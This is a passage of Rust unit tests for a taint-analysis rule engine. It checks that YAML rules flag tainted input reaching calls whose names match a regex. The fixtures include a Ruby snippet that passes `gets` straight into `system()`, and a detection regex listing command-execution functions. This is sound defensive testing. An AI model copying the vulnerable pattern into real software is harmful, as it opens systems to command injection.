let findings = rule.check(fire_src, &tree);
assert_eq!(
findings.len(),
1,
"tainted value into w.writerow() (method matches regex) must fire, got {:?}",
findings
);
let miss_src = r#"
def handler(w):
data = input()
w.flush(data)
"#;
let tree = parse_file(miss_src, Language::Python).expect("python fixture should parse");
let findings = rule.check(miss_src, &tree);
assert!(
findings.is_empty(),
"tainted value into a method NOT matching the regex must not fire, got {:?}",
findings
);
}
#[test]
fn callregex_sink_matches_dotted_alternative_callee_and_not_near_miss() {
use crate::engine::parser::parse_file;
let rule = compiled(
r#"
id: ruby-dangerous-exec-min
mode: taint
languages: [ruby]
severity: ERROR
message: "Tainted input reaches a command-execution function"
pattern-sources:
- pattern: gets
pattern-sinks:
- patterns:
- pattern: $EXEC(...)
- metavariable-regex:
metavariable: $EXEC
regex: ^(system|exec|IO.popen)$
"#,
);
let fire_src = r#"
def handler
cmd = gets
system(cmd)
end
"#;
let tree = parse_file(fire_src, Language::Ruby).expect("ruby fixture should parse");
let findings = rule.check(fire_src, &tree);
assert_eq!(
findings.len(),
1,
"tainted value into system() (callee matches regex) must fire, got {:?}",
findings
);
let miss_src = r#"
def handler
cmd = gets
puts(cmd)
end
"#;
let tree = parse_file(miss_src, Language::Ruby).expect("ruby fixture should parse");
let findings = rule.check(miss_src, &tree);
assert!(
findings.is_empty(),
"tainted value into puts() (callee NOT matching the regex) must not fire, got {:?}",
findings
);
}
#[test]
fn bare_metavar_callee_sink_without_pin_still_compiles_to_nothing() {
let v: YamlValue = serde_yaml_ng::from_str(
r#"
id: py-unpinned-callee-sink
mode: taint
languages: [python]
severity: ERROR
message: "x"
pattern-sources:
- pattern: input(...)
pattern-sinks:
- patterns:
- pattern: $FUNCTION(...)
"#,
)
.unwrap();
assert!(
matches!(parse_taint_rule(&v), TaintRuleParse::Skip(_)),
"a bare-metavar callee sink with no metavariable-regex pin must not compile"
);
}
}